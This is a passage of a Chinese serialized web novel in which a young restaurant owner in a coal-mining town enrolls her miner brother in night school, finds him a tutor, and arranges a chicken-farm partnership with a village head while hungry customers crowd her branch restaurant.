进来端菜的郝翠兰被他说得心生愧疚,从兜里掏出钱,说:“都是俺惹的麻烦,俺把面钱付了吧……” 徐和平没收她的钱,摆了摆手,靠在墙边喘匀了气,才说: “和你没关系,我看那人不像是个善茬,算了,就当破财消灾吧。” 曹全安嚷嚷:“那面钱怎么办?咱们是来饭店上班的,可不能白占了老板便宜啊……” 他一边说,一边拿眼睛去看郝翠兰。 徐和平拦住了话,说:“行了,我和小老板说,她不会在意这些小事的。” 徐和平把事儿揽了下来,曹全安转身回灶台颠勺,嘀嘀咕咕地说: “今天来一个逃单的,明天来两个逃单的,天天逃单,这饭店用不了多久就得黄……” 徐和平不搭理他,端起盘子出去上菜了。 郝翠兰却把这话听了进去,盯客人盯得更紧了,没买单就不给上菜。 有人开玩笑:“哎哟,这服务员是怕我们跑了啊?” 郝翠兰一张脸涨得通红,被客人说了也要坚持先付钱后上菜。久而久之,她的脸皮练得厚实多了,对着客人也敢调侃回去。 当曹全安再次故意拿话点她时,郝翠兰仰着脸说: “曹师傅,这不是您的自家生意了,店里有店里的规矩,您还是收了脾气吧。” 曹全安被说得瞠目结舌,他本来就是欺软怕硬的主儿,人家强硬了,他反倒蔫下来,欺负不了小姑娘脸皮薄,他也就消停了。 此消彼长,分店这边的气氛再次回归了平静,徐和平也不用左右调和,乐得清闲。 一矿家属区。 中考结束后,贺明珠彻底放松下来,回了家,一头扎在炕上,睡得晨昏颠倒,不知日月。 大半夜睡醒了就摸到厨房,翻出几个二合面馒头,就着酱豆腐吃完,反身回去继续睡。 贺明国忧心忡忡,和齐家红说:“小妹这是不是病了啊?要不我明天带她上医院瞧瞧?” 齐家红笑着说:“放心吧,她没事儿,就是之前复习累着了。” 贺明国还是不放心,第二天一早让齐家红去叫贺明珠起床。 贺明珠睡得香甜,齐家红根本叫不动,贺明国急了,确认贺明珠衣服穿得齐整后,掀开门帘进了隔间,拉着她的两条胳膊,硬是把将贺明珠从床上拽起来。 贺明珠被拉得坐起来,睡眼朦胧地抱怨:“大哥?大嫂?你们干嘛啊?” 贺明国说:“别睡了,走,今天我带你上医院看看去。” 贺明珠甩开他的手,大大地打了个哈欠,懒洋洋地说:“哥,我没事,不用去医院。” 贺明国很严肃:“哪个没事人能一口气睡上三天三夜啊?快穿好衣服,跟我去医院。” 贺明珠也睡得差不多了,伸了个懒腰,从炕上跳下来,伸展了一下筋骨。 “好了,我醒了,不睡了。” 贺明国怀疑地上下打量,见妹妹脸色红润,眼睛清亮,除了脸上有睡出的印子,看起来精神极了,这才稍微放下心来。 小学还没开始放暑假,齐家红赶着上班,顺路送贺小弟去托儿所,骑着车先走了。 贺明国今天上夜班,傍晚的时候才出门,这会儿还留在家里,拿着扫帚把院子打扫干净。 贺明珠在屋里屋外转了一圈,问:“我二哥呢?” 贺明国说:“他去分矿了,说是曹师傅已经连上五天班,他得去把人家换下来。” 贺明珠“哦”了一声,忽然想起来件事儿,之前忙着中考把这事儿给忘到后脑勺了,差点耽误了正事儿。 她赶紧说:“大哥,你先别打扫了,我有要紧的事儿和你说。” 贺明国拄着大扫帚,好奇地问:“你能有什么要紧事儿啊?” 贺明珠说:“我替你报名夜大了。” 就在前段时间,本地夜大开放报名,贺明珠从报纸上看到消息后,立即就替贺明国报了名,还没来得及和他说。 听到贺明珠的话,贺明国一愣,什么意思?让他上夜大? 他下意识就拒绝:“我不去,上夜大干嘛,我有工作还上什么学啊。” 贺明珠早就猜到他要这么说,不慌不忙道:“你先别急着拒绝,待会儿我们去趟医院,你回来了再做决定。” 贺明国不以为意,去趟医院能这么样,难不成医院还有仪器能改变大脑里的想法不成? 他正好也想带贺明珠去医院检查一下身体,正常人怎么能连着睡三天三夜,而且她这半年时间都在连轴转,兼顾生意和学业,他看着都替妹妹累得慌。 她年纪轻,一时看不出身体亏空,但身体是革命的本钱,有好的身体才能长远地为革命事业做贡献,不能仗着年轻就随意挥霍健康。 兄妹俩各怀心思,倒在去医院这件事上达成了一致。 小狗目送两位主人离开,呜了一声趴在门口,今天家里又只剩它自己了。 太阳缓缓地自东向西移动,树影拉长又变短,当再次拉长时,院门一声响,小狗激动地摇着尾巴凑到门口,欢快地往人身上扑。 贺明国没心情逗狗,心事重重地走进来,想了想,不甘心地对贺明珠说: “我这才上了一年班……” 贺明珠抓着小狗前爪,教它用两只后脚走路。 听到贺明国的话,她说:“大哥,别想了,挖煤对呼吸道的损伤太严重了,你也听到医生的话了,你现在的肺看着还算干净,可要再这么干下去的话,迟早有一天要得矽肺。” 贺明国抿着嘴,年轻的脸上露出挣扎之色。 “但井下的工资是地面的两倍还多……” 贺明珠劝他:“大哥,就算是十倍百倍千倍的工资,也是用损害身体的代价换来的,不值得。你就算不为自己考虑,也要为大嫂和我们考虑考虑吧。” 贺明国不再说话,皱着眉头思考。 贺明珠替他拍了板,一锤定音: “哥,你就听我的,去夜大上培训班,毕业后调岗去做技术员。别担心基础差、学不会,我啊,早就给你找好了老师。” 贺明国奇怪道:“老师?什么老师?” 贺明珠笑眯眯地说:“一顿饭骗来的老师!”【你现在阅读的是魔蝎小说 moxiexs】 90-100 第91章 第91章贺老板巡店 “和平,你们家大厨什么时候来分矿啊?” 杨东风蔫蔫地放下碗,没精打采地问:“她之前不是说要我帮忙吗?这么长时间没来这边,她是不是忘了这回事?” 徐和平过来收碗,顺便瞅了一眼碗底,只见碗里被吃得干干净净,一滴汤都没剩。 “她这段时间忙中考呢,顾不上来分矿。曹师傅手艺也不错,我看你吃得挺香的啊。” 杨东风垂头丧气地说:“这不是没得选吗?再怎么着,也比食堂的饭好吃,算了,将就吧……” 店里人少,曹全安在 门口抽烟解乏,听到杨东风的话,老头眉毛都竖了起来。 “嘿,你小子,还将就上了!你给我说清楚,我做的饭比老板差哪儿了?你要是说不出个一二三,以后就算你来店里点菜,我也恕不接待!” 郝翠兰听到他的话,比杨东风还着急:“曹师傅,咱们说好的,来店的都是客,你咋能说话不算数呢?!” 曹全安不耐烦道:“小村姑一边呆着去,你懂什么,这小子可以质疑我的人品,但不能质疑我的厨艺——他一个顿顿清盘的饭桶,有什么资格说我做的饭是将就?” 他盯着杨东风:“喂,小子,你说不说?” 徐和平拉住还想再说些什么的郝翠兰,好整以暇地等着杨东风要怎么和曹全安解释。 杨东风一点也没有被发怒老头盯着的紧迫感,反而慢吞吞地说:“顿顿清盘、不留剩饭是因为我珍惜粮食,和好吃不好吃没关系,更不代表我尝不出来饭菜的好坏。” 他说:“曹师傅,和一般厨师相比,您的手艺算不错的;但和明珠妹妹相比,就差得有点远了。也不是说不好吃,而是在火候、调料的把握上,总有那么一丝半点的差距。” 听到这番话,曹全安脸上的神色不辨喜怒,也没急切地开口辩驳,反而专注地听着。 杨东风接着说:“比方说吧,菜炒得有点过火,或者在热锅里多待了一会儿,出锅的菜就没那么脆生生,反而吃起来有点湿溻溻;又比如,为了压下肉的腥味,就放了许多葱姜大料,导致肉本身的鲜味都被压了下去。” 徐和平想一想,杨东风说的似乎还真有几分道理。 他是吃过小老板做的菜,也尝过曹师傅的手艺,相比之下,在做同一道菜时,即使双方使用的原材料和制作手法都完全相同,但成品总有微小的差异。 菜要炒多久才会断生,肉要放多少调料才会刚好将腥味儿压下,使用着同样的菜谱,却因为厨师的不同而使得出锅的成品也有差异。 这差异微小到了极致,如果不是因为徐和平吃得多,对美食有一定的抵抗力,有余力细细品鉴,还真的很难分辨出两道菜的不同。 毕竟对于绝大多数顾客来说,上菜后只顾得上埋头苦吃,眼前的美食还吃不够,哪还有心力去品鉴菜与菜之间的细微不同呢? 徐和平默默感叹道,杨东风这个填不饱的饭桶,居然还有一条挑剔的舌头啊。 杨东风不知道他在徐和平心中的形象已经变成了长舌头的饭桶,还在试图向曹全安解释: “曹师傅,您手艺不差,就是做菜还是老习惯,重油重盐,现在改了点儿,但没改彻底,下调料时,手一哆嗦就放多了;炒菜时,一不留神就把菜在锅里多留一小会儿。我也不是说您做的菜不好吃,就是相比之下……” 曹全安老脸一红,自家老底被人全揭了,他可不就是顺手多放点调料,顺手又多炒了一会儿菜。 哪怕他现在尽力按菜谱来做菜,但有些习惯还是没那么好改的,已经植入了潜意识,稍一不注意就溜了出来。 见老头的脸都红了,杨东风意识到自己说得好像有点过火了,抬手摸摸后脑勺,扯出一个尴尬的笑,赶紧把话往回拉扯点。 “那什么,我好像说的有点多了。总之,曹师傅做的菜也好吃,虽然比不上明珠妹妹,但在店里至少能排到第二吧……” 分店一共就来过仨厨子,贺明珠来得少,平时不是贺明军主厨,就是曹全安掌勺。 听到杨东风把自己排到了第二,虽然比不上老板,但还比二老板贺明军强点儿。 曹全安傲娇地哼了一声,转身回了厨房。 杨东风追在后面问:“曹师傅,你没生气吧?我以后还能来店里吃饭吗?” 曹全安的声音从厨房传出来:“随你——” 徐和平笑嘻嘻看完这场戏,这才放开了一直按捺不住要加入战场的郝翠兰。 终于算能开口说话,她就忙不迭地对杨东风说:“你啥时候来都行,俺们店都欢迎!” 杨东风咧着嘴,笑得没心没肺:“这不还得听听厨师的意见么,要是真惹曹师傅生气了,我总不能自己下厨吧,就我那厨艺,做出来的饭说是猪食都算抬举了。” 话音未落,门口传来声音。 “你要是这么说的话,那我还真有点好奇你做出的饭会是什么样子?” 郝翠兰惊喜道:“小老板,你来了!” 曹全安闻声从厨房跑出来:“谁来了?是老板来了?” 杨东方已经迫不及待扑了上去:“明珠妹妹,我可想死你了!” 徐和平坠在最后,懒洋洋地笑着说:“某些人可是真不禁念叨,说曹操曹操就到——小老板,你今天怎么想起来分店了?” 贺明珠进了屋,环视一圈,只见店里添了不少东西,墙上挂着几辫子大蒜和干辣椒,小料台上增添了几种新咸菜,还有一小盆曹全安腌的蒜蓉辣椒酱。 她找了个空位坐下,郝翠兰给她端来一大碗绿豆汤,里面放了冰糖,喝起来清凉解暑。 “我考完中考了,现在放暑假,我在家里闲着也是闲着,来分矿看看你们。” 郝翠兰问:“小老板,你这次分矿住几天?要不就住我家吧?” 徐和平往外面看,疑惑道:“明军儿呢?你二哥没和你一起来吗?” 曹全安想拉着贺明珠进厨房:“我想出新菜谱了,现在就做给你吃!你尝一尝,要是好吃的话,能不能这个月就采纳?” 杨东风双眼直放光:“明珠妹妹,这几天店里的菜是不是都由你来做?我能不能先预订位置,别管什么菜,只要是你做的就行!” 郝宝根从后院探进个脑袋,没底气地小声问:“俺、俺还得杀多久的鸡啊……能不能换个活儿,俺现在身上一股鸡味,半夜黄鼠狼都要钻俺被窝嘞……” 这几个人你一言我一语的,贺明珠听都听不过来,不得不双手下压,示意他们都安静下来。 “都别吵了,我耳朵嗡嗡的,一个一个来。” 她先对郝翠兰说:“我待几天就走,不去你家打扰了,就住宿舍。” 接着她又对徐和平说:“我二哥在后面呢,他带的东西多,一会儿就来。” 随后是曹全安,她说:“曹师傅,先不急,您把新菜谱写下来,回头我们边做菜边斟酌有没有需要调整的地方。等确认无误后,就把新菜谱的奖金发给您。” 听到这话,曹全安响亮地“哎”了一声,转身又回了厨房。 “我先把主料和辅料都准备好!” 最后是郝宝根,贺明珠上下打 量一遍这个黑小子,身上头上沾满了鸡毛,人倒是胖了些,眼睛也不像之前那么贼溜溜地四处乱转了。 “等下你跟我出去一趟,之后要不要继续杀鸡,就看你表现了。” 郝宝根惊喜道:“真的?!你不是骗俺的吧?” 贺明珠逗他:“假的。” 郝宝根一瞬间变蔫了,脑袋都垂了下去。 当他转身,垂头丧气地要回去继续杀鸡时,却听到身后传来小老板的声音。 “行了,骗你的,你去把这身鸡毛都收拾干净,我可不带邋遢跟班出门。” 郝宝根一蹦三尺高,脱了衣服就狂甩,把上面的鸡毛甩得四处都是。 郝翠兰看不过眼,打了盆水,拿上梳子,拉着他去后院:“走走走,俺给你洗洗,看你那脏样儿!” 所有人的问题都回答了,唯独漏掉了杨东风。 他不甘心地追问:“我呢我呢?明珠妹妹,你之前不是说有件事要我帮忙,办成了请吃大餐吗?别管是什么事儿,只要你说出来,我现在就能帮!” 徐和平吐槽一句:“哪有人上赶着要来帮忙的?” 杨东风不理他,眼巴巴地盯着贺明珠。 贺明珠拉长了语调说:“这个嘛,我还真有事儿要找你——” 杨东风激动地凑上来:“什么事儿什么事儿?” 贺明珠不再吊人胃口,爽快地说: “我大哥要参加夜大的采矿技术培训班,但他底子差,上初中时赶上了运动,没学到什么东西;高中更是只上了一年学就插队下乡了。坦白地说,他的知识水平可能只比小学生强一点。我担心他跟不上夜大的课程,想请你在下班后给他补补课……” 没等听完贺明珠的话,杨东风二话不说先答应了下来。 “没问题,小菜一碟,你就交给我吧!” 贺明珠提醒道:“要把小学生教成夜大毕业生哦。” 杨东风豪爽地说:“别说是小学文化,就算你大哥是个文盲,我也有把握让他考上清华!” 这豪言壮语,听得在场几人虎躯一震。 贺明珠:“呃……” 徐和平被口水呛到,连连咳嗽,缓过气就说:“哥们儿,为了点吃的,没必要牛皮吹这么大吧?!” 杨东风摸着后脑勺,不好意思地笑了,亮出一口大白牙。 “这不是表个决心嘛……” 贺明珠看看墙上挂着的表,提醒道:“快两点半了,东风哥,你是不是该回分矿上班了?” 杨东风蹦起来就跑:“糟了,要迟到了!” 他都跑出五十米了,忽然停下脚步,转身将双手合成喇叭状放在嘴边,高喊道: “明珠妹妹,我晚上还来分店吃饭!别忘了我的大餐!” 说完这一句,他才安安心心地继续往分矿的方向跑。 贺明珠和徐和平对视一眼,感叹道:“饭桶的意志就是哪怕要迟到了也不会忘记下一顿饭。” 徐和平已经笑得快喘不上气了。 “哈哈,哈哈,杨东风这家伙上的该不会是什么吃饭大学吧!” 贺明珠扶额,高学历的饭桶也是饭桶,为什么她最近总是能遇到饭桶呢? 郝翠兰领着洗干净了的郝宝根进来,把他推到贺明珠面前。 “小老板,俺把宝根都收拾好了,这脏小子,用胰子洗了三遍,才把脸洗干净,洗出来的水都是黑的……” 郝宝根站在贺明珠面前,紧张地扯着衣角,怪不好意思地嘿嘿傻笑。 贺明珠一看就惊了,感叹一句:“啊,原来你不是天生就这么黑的啊。” 郝宝根的脸上没了那层黑不溜秋的陈年包浆,露出来的肤色是正常的黄三白,因为这段时间在分店能按时吃饭,还能吃饱,脸上多了一层薄薄的血色。 头上的鸡毛弄不干净,郝翠兰索性拿剪刀把郝宝根鸡窝似的一头乱毛都剪了个干净。 她不是专业理发师,剪出来的头发长短不一,但和之前流浪儿似的杂毛相比,这会儿看起来反倒更顺眼,也更清爽。 郝宝根难得不能从头发缝里瞄人,一双眼睛都不知该看向哪儿,只会咧着一张嘴傻笑。 贺明珠说:“行,辛苦翠兰了。那宝根,你跟我走吧。” 郝宝根不安地问:“去哪儿啊?” 贺明珠笑眯眯地说:“去找鸡。” 郝宝根呆了:“啊?” 贺明珠带着郝宝根来到了郝村长家。 下午时分,壮劳力都在自己承包的地里忙活,即使是村长也不例外。 当贺明珠来到郝村长家时,家里只有他的老母亲和小闺女,其他人都在地里干活。 贺明珠之前来家里拜访过几次郝村长,还留下吃了饭,和村长家里的人都熟。 郝村长的母亲一边颠着两只小脚,忙前忙后地倒水招呼贺明珠,一边指挥小孙女去地里,赶紧把她爹叫回家。 不多时,郝村长急匆匆地进了家门,人没见面,声音先传了进来。 “贺老板,老长时间没见你了,哪阵风把你给吹俺家来了?” 他进了屋,端起炕桌上的碗,将满满的一碗凉白开一饮而尽,放下碗,用手背擦了两把嘴。 “贺老板,翠兰是不是给你惹啥麻烦了?” 贺明珠笑着说:“翠兰可是我们店里最能干的,其他人谁也比不上她,勤快又热心,店里现在是一天都离不了她呢。” 郝村长听了直咧嘴笑,口上不住地谦虚:“她一个村里的小丫头片子能干点啥,也就帮忙端端盘子,别的啥也干不成……” 两人互相客套了一番,这才终于步入正题。 贺明珠问道:“村长,现在咱们村还有多少鸡能卖?” 郝村长想了想,说:“也没多少了……刚孵出的小鸡雏还得再等几个月,大鸡都是从隔壁村捉回来现养的,但俺瞅着用不了多久,这点鸡也得卖光了。” 旁边的郝宝根老老实实地坐着,也不敢插话,竖着两只耳朵偷听。 他这段时间杀鸡多了,对本村和周边村子现存活鸡数量有个大概了解,心知郝村长说得实在,确实是没多少鸡了。 分店简直像一张吞噬活鸡的巨口,无论送来多少只鸡,都能被店里消耗掉。 或者说,分矿的职工简直不是人,而是一群成了精的黄鼠狼,看见鸡肉就两眼直放光,顿顿吃都吃不腻,从鸡血、鸡杂到鸡肉、鸡架,除了鸡毛不吃,其他的部位是无所不吃。 照这么个吃法,全宁县的鸡也不够分矿吃的,毕竟分矿可是有大几千的职工,工资普涨后,在吃上面特别舍得花钱。 郝宝根有时候都想不明白,他们咋就舍得把钞票都吃到肚里,上个厕所不就全没了吗?有那钱买点啥不好呢? 他不知道的是,由于煤矿生产的高危性,谁也不知道矿难什么时候会发生,矿工们过得有今天没明天,拿命赚回来的钱,可能还没来得及花,就变成了遗产。 与其活着的时候抠抠搜搜,不舍得吃这不舍得穿那,不如该花就花,别等死前才后悔。 久而久之,矿务局的人颇有一种及时行乐的心理,今朝有酒今朝醉,明日愁来——还不一定有没有明日呢。 一句话说白了,钱是王八蛋,花了咱再赚。 分矿作为新开的煤矿,被分配到这里上班的青工比其他矿上更多,作为一人吃饱全家不饿的光棍,他们也就更舍得在吃上犒劳自己了。 更何况,分店的饭菜也确实好吃得让人流连忘返。 对于分店来说,现在的问题不是没顾客,而是快要没食材。 郝村长搓着两只粗糙的大手,不好意思地说:“俺也没想到你们饭店能买这么些的鸡,周围几个村子都跑遍了,能买的鸡也都买了,可再多的,就真没了……” 郝宝根心想,饭店要是买不上活鸡的话,是不是他就可以不用再杀鸡了? 他刚想高兴,忽然又想到一点,要是没鸡了,小老板是不是就不要他了,他也不能在店里蹭饭了? 想到这里,郝宝根瞬间涌起极大的恐慌和不安,熟悉的没依没靠的感觉重新笼罩了他。 原来在他不知不觉的时候,就已经把饭店当成了一个可以依赖的地方吗? 对于郝村长的话,贺明珠没有丝毫意外,而是反手将郝宝根拉到她和郝村长之间,问道: “村长,您看这小子怎么样?” 郝宝根心里正一团乱麻呢,忽然被拉到两人之间,同时接受两道视线的洗礼,顿时整个人都僵了。 郝村长不知道贺明珠想要干啥,顺着她的意思,敷衍地看了眼郝宝根。 “不孬,是个好娃子,贺老板,这娃是哪个村的,看着还有点眼熟。” 贺明珠掩嘴笑了:“村长开玩笑呢,他就是你们村的郝宝根啊。” “什 么?” 郝村长这下是真震惊了,上上下下地来回打量郝宝根,不可置信地说: “你是宝根?” 郝宝根用比蚊子高不了多少的声音哼哼:“嗯……俺是宝根……” 他以前偷过村长家的红薯,还被村长家的狗在屁股上咬了个正着,之后又因为偷东西的事儿,被村长揍了好几次,现在见了村长就胆寒。 郝村长揉了揉眼睛,眼前的人打扮利落,衣服上的扣子都系好了,一张脸也是干干净净,看不出半分之前脏兮兮的邋遢德行。 “你咋成这样了?你不是在店里帮忙杀鸡吗?” 郝宝根继续哼哼:“俺是杀鸡……小老板带俺过来的……” 郝村长看看贺明珠,又看看郝宝根,她是咋把村里这个二流子给改造成现在这副正经模样的? 贺明珠笑着说:“村长,郝宝根是个好同志,他之前不懂事做错了事,但他现在已经在改了。知错能改善莫大焉,我想再给他一次机会。” 郝村长还晕晕乎乎的:“啊,你想咋给他机会?” 贺明珠说:“我想让他负责在县里收购活鸡,收回来的鸡先放到村里统一养着,等有人点菜的时候,再现杀现吃。” 郝村长不确定地问:“你要让这小子去收鸡?就不怕他拿了你的钱跑了吗?” 郝宝根低着头不说话,对于村长的质疑,他确实没有反驳的底气。 贺明珠却说:“这不还有您吗?他跑腿,您管钱,每收回来一只鸡就给你们各提成一毛。” 郝村长本来还想拒绝,可听到提成后,他的嘴就张不开了。 他心口不一地说:“啊,还给俺钱啊,这不好吧,俺是国家干部……” 贺明珠说:“这又不是让您利用职权徇私枉法,充其量不过是给您一个赚外快的机会。收购活鸡只是现在不得已的应急办法,我本来打算的是和村里合作办一个养鸡场。” 听到这个,郝村长来了兴趣:“你说要办养鸡场?” 贺明珠说:“对,我观察过了,郝家村的环境很适合饲养走地鸡,有大量的山坡荒地可以开发利用,而且村里在种地上获益有限,养鸡能获得比种地更高的收入。” 郝村长眼睛亮起来,心动万分,她话不多。可每一句都切中要害。 现在村里穷不就是因为田地少,良田更少,种地挣不上钱吗? 改革开放后,有的村地多,靠种地富起来;有的村开小工厂,靠厂子富起来;还有的村干养殖,靠卖猪卖羊富起来。 原本大家都穷得不分上下,对于致富的渴求还没有那么强烈。 但现在有的村已经先富起来,就衬托得他们这些原地踏步的村子格外磕碜。 人家吃白面馍馍,他们吃窝窝头;人家隔三差五割肉吃,他们一年吃不上几回肉;人家住上了亮堂堂的砖瓦屋,他们还缩在黑乎乎的土坯草房。 郝村长也想带领自家村子富起来,可就是要钱没钱,要技术没技术,光靠一群穷农民,什么时候才能摆脱贫困? 要是能开一家养鸡场的话,郝家村致富有望啊! 郝村长迫不及待地说:“养鸡场好,养鸡场好啊!你说怎么养鸡场就怎么办,俺代表俺们村,全力支持你!” 贺明珠预料到郝村长会支持,但没想到他会这么激动,不由得失笑道: “您先别急,先听我把话说完,考虑一下我提出的合作条件您这边能不能接受。” 郝村长心想还考虑什么,这种天上掉馅饼的好事儿,管他什么条件,那都得接受啊。 但他大小是个村干部,管理村里几百口人,在关键时候还是能稳得住,努力平静地说: “好好好,你说,你先说!” 贺明珠说:“我提供资金,村里提供场地和人手,双方五五分成,养鸡场的产出由我负责对外销售。另外,村里每月至少要向饭店提供一百只健康的活鸡,上不设限。” 她才说完,郝村长就以拳击掌:“行,就这么定了!” 太顺利了,贺明珠提醒道:“您不需要和村里开会商量商量吗??” 郝村长爽朗地笑道:“还商量什么,这种好事儿傻子才会不干!俺现在就召集村干部,把养鸡场的地先圈出来!” 说干就干,郝村长临走前还拎上了郝宝根。 “走,你小子现在总算有个人模样了,以后就给俺跑跑腿、传传话。” 郝宝根被郝村长像拎小鸡仔似的拎走了。 临走前,他向贺明珠遥遥伸出手:“老板,俺还想回店里杀鸡……” 贺明珠笑眯眯朝他摆摆手。 “加油,以后咱店的鸡就靠你了哦~” 第92章 第92章抢劫犯来了(补完)…… 下班时间还没到,杨东风就把挎包放在手边最近的位置,时不时去看墙上挂着的方形表。 秒针滴答滴答地顺时针挪动,一点也不顾及焦急等待下班的人的心情,只按自己的步调。 隔着几张办公桌,领导放下搪瓷杯,背着手,不紧不慢地从办公室走了出去。 领导一走,杨东风腾地一下站起身来,走到门边左右看看。 走廊上,领导走得不见身影,他小跑回去,一把抓起挎包,和同事们打了个招呼就要溜。 “我今天有事儿,早走会儿啊,明天见!” 话音未落,人已经冲了出去。 同事们抬起头来面面相觑,有人不确定地说:“小杨这是遇上什么急事了吗?” 年纪大些的同事笑道:“哈哈哈,我看小杨这是谈对象了吧?年轻真好啊……” 还有人站到窗边,目送楼下杨东风一蹦三尺高,欢快地跑出了分矿大门。 但他没朝东侧公交站台的方向走,而是跑向了相反的方向——位于西侧的郝家村。 这个同事脑子转得快,立刻就反应过来。 “不是谈对象,他是去煤矿人家了!” 大家都知道小杨的饕餮属性,不仅爱吃能吃,而且很会吃。 这家伙长了一条好舌头,还长了一个狗鼻子,但凡哪儿有好吃的,他闻着味儿就去了。 在吃这件事上,小杨同志拥有令人叹为观止的超强行动力。 据说新开业的煤矿人家分店,就是他一直追着老板的哥哥不放,才最终促成第二家店在分矿设立。 原本大家觉得一家饭店而已,好吃也好吃不到哪儿去。可等他们亲自在分店吃过一次后,就不得不承认,杨东风这小子眼光真不错,确实好吃。 不过这家伙嘴挑,在分店吃了几次后,就提不起精神,说什么还是小老板亲自下厨做的菜最好吃。 虽然不知道他说的小老板是指谁,可现在分店厨师做的菜就已经好吃到让人忍不住连舌头都要一起吞掉,这个小老板做的饭得多好吃啊! 见杨东风目标明确地冲着位于郝家村的分店奔去,办公室众人脑袋上的灯泡集体一亮。 ——能让杨东风不惜早退也要去的地方,一定有好吃的! 众人对视一眼,不约而同开始收拾东西,背上挎包起身就走。 当领导上完厕所,慢悠悠地回到办公室时,却见房门半掩,推门而入,房间里空空荡荡。 窗外刮来一股风,将桌上几张图纸吹落了地。 领导一愣。 “人呢?” 此时的分店,店内挤得满满当当,连店外的空地上都是席地而坐的人。 杨东风被挤在人群中动弹不得,悲愤地大喊一声: “你们都跟着我来干嘛!” 几头面熟的饕餮嘿嘿直笑,调侃道: “你小子不地道,怎么还想背着兄弟们吃独食?” “我大老远就看见你在路上跑,我冲你打招呼你都不理,一看就是想干点什么见不得人的事。” “我在楼上看到他的,一看就是往郝家村的方向跑,用脚指头也猜得到他想干什么。” “今天又能吃到小老板的手艺了,自从上次一鸡六吃后,我做梦都在流口水。” 眼见饕餮们是摆 脱不了了,杨东风挣扎着问: “那其他人呢?你们又是为什么非要今晚来吃饭啊?!” 店内其他顾客纷纷说道: “我不知道啊,大家伙儿都往这儿跑,那我也往这儿跑。” “既然你们都来了,那我也来呗,反正闲着也是闲着。” “我本来是准备吃食堂的,可大家都来这家店吃饭,我一个人吃食堂没滋没味的……” 杨东风绝望扶额:“这顿饭明珠妹妹请我吃的,你们都给我走开……” 饕餮们厚颜无耻地说: “都是大人了,别这么小家子气,大不了下次我让你吃回来。” “别这样,都是革命同志,不要为了区区一顿美食,就破坏我们的工人阶级的兄弟情谊啊!” 杨东风:……屁的情谊!你们这帮饭桶! 饭店一时间涌入太多顾客,店内几人忙得不可开交,按照下单顺序,流水线般地将一道道美食从后厨送到前厅。 当店内空气中开始飘荡起各式菜色的香气时,原本喧闹的环境渐渐安静下来,客人们都全身心地投入了美食中。 杨东风没点菜,溜到厨房门口,探头朝里面看去。 厨房里只有贺明军在,他和曹全安交了班后,厨房的一亩三分地就归了他。 曹老头则拎着大包小包,赶在末班公交发车前,急匆匆去站台等车了。 包里除了他的替换衣物,还有在村里买的农产品,不仅不要票,还比城里菜场的便宜。 自从曹全安来分矿新店上班后,曹家在买菜上的开支大幅度降低,还能替周围的亲戚朋友捎菜。 就是苦了曹老头,这么大年纪了,还要扛着二十斤的包裹去赶车。 不过看他喜滋滋地数着只花了几毛钱的茄子辣椒西红柿,恐怕老头还很乐在其中。 杨东风没在厨房中看到贺明珠,疑惑问道:“明军儿,明珠妹妹呢?今天不是她掌厨吗?” 贺明军正炒菜呢,闻言没说话,朝后院的方向抬了抬下巴。 杨东风懂了,忙不迭又往后院的方向走去。 中途还被徐和平拉住,把高高一摞碗塞了过来:“你顺路把碗送后院去,再把洗干净的送到前面,快点,客人急着用。” 手上一沉,杨东风瞪着这一摞高度超过他脑袋的碗,再一看,徐和平已经匆匆去服务其他客人了。 杨东风:…… 他好像也是客人吧…… 他默默在心里吐槽一句,老老实实端起这一摞高度远超寻常的碗,小心翼翼送到了后院。 后院郝大婶正坐在水池前洗碗,他把脏碗放到旁边,目光已经被露天灶台前的贺明珠吸引走了。 “明珠妹妹,你做什么菜呢?” 杨东风三步并两步走过去,之间砖砌的大灶上坐着一口油锅,火烧得旺,听听到木材燃烧时噼里啪啦的声音。 贺明珠没说话,手上拿着一条切得厚实的肥肉,在一盆不知是什么磨的颜色蛋黄的粉末中裹了一圈,微微抖了抖,将多余的粉末抖掉。 接着她轻而快地将手上的肥肉条滑进油锅,只听“滋啦”一声,锅里腾起一层大大小小的油沫,肉眼可见的,肥肉条变成了诱人的金黄色。 高温作用下,浓郁的炸肉香气冒了出来,杨东风不禁咽下了口水。 贺明珠用漏勺将炸好的肉条捞出,放到一旁的盘中,里面已经放了好几条炸肉。 她这时才回答了杨东风的问题:“说好了要请你吃大餐,怎么样,看着不错吧?” 杨东风瞪大了眼睛。 这何止是看着不错,是太太太太太不错了! 夕阳下,这些炸好的肉条似乎被笼罩了一层朦胧的橘黄色泽,散发着致命的诱惑。 裹粉后再油炸的肉条看起来有种毛茸茸的奇特质感,像是被包上一层精美礼物纸,让人忍不住想象在酥壳下会是怎样美好的口感。 一时间,所有关于油炸食物的回忆都涌上心头,手段百出地勾动着胃里的馋虫。 贺明珠转身拿起另一条肥肉要下锅油炸,杨东风站在盘子前,盯着最上面一条刚炸好的的肉条挪不开眼。 既然这菜是给他做的,他提前尝一口,没关系的……吧? 杨东风鬼使神差,朝盘中肉伸出了罪恶的小手。 “等等!” 杨东风的手才碰到了盘子,就被贺明珠“啪”地打开了。 “现在不是最好的口感,等下还要再复炸一次。” 听了贺明珠的话,杨东风遗憾收回手,蔫蔫地说:“那我先把碗送到前面吧。” 他端走一摞郝大婶洗好的碗,拿到前面交给徐和平。 徐和平忙中抽空,在厨房空着的灶台上烧了一大锅的水,把碗筷都放进去,煮到水沸腾为止。 见状,杨东风一时间忘记了偷吃不成的郁闷,惊奇道:“为什么要煮碗?” 徐和平拿起夹子,一个接一个把烫好的碗从锅里捞出来,顺口道: “小老板要求的,她说这样卫生,还说什么二次使用要消毒之类的话,哎,这姑娘家就是爱干净,曹师傅说他原来单位都没这么麻烦,也不知道小老板是和谁学的。” 杨东风眉眼弯弯:“明珠妹妹这样才对,不用担心混用碗筷导致交叉感染,客人吃着更放心了。” 徐和平摇摇头:“她还说要搞什么紫外线消毒,真不知道她哪儿来那么多想法。” 杨东风思索:“紫外线消毒吗……” 贺明军忙完手上炒菜的单子,接下来都是一些需要时间的炖煮类菜肴。 他抓起毛巾擦了把脸,对一旁围观煮碗的杨东风说:“嘿,杨饭桶。” 徐和平噗嗤一声笑出来,杨东风抗议道:“什么饭桶,明军儿你这也太不客气了。” 贺明军无视他的抗议,继续说道:“你别老明珠妹妹、明珠妹妹地喊我妹了,听得怪肉麻的,我鸡皮疙瘩都要起来了。” 杨东风不解:“她比我小,又是女孩,不叫明珠妹妹叫什么?” 徐和平插了一嘴:“叫小老板!” 杨东风不同意:“首先,她不是我的老板;其次,老板就老板,为什么要加个‘小’字?” 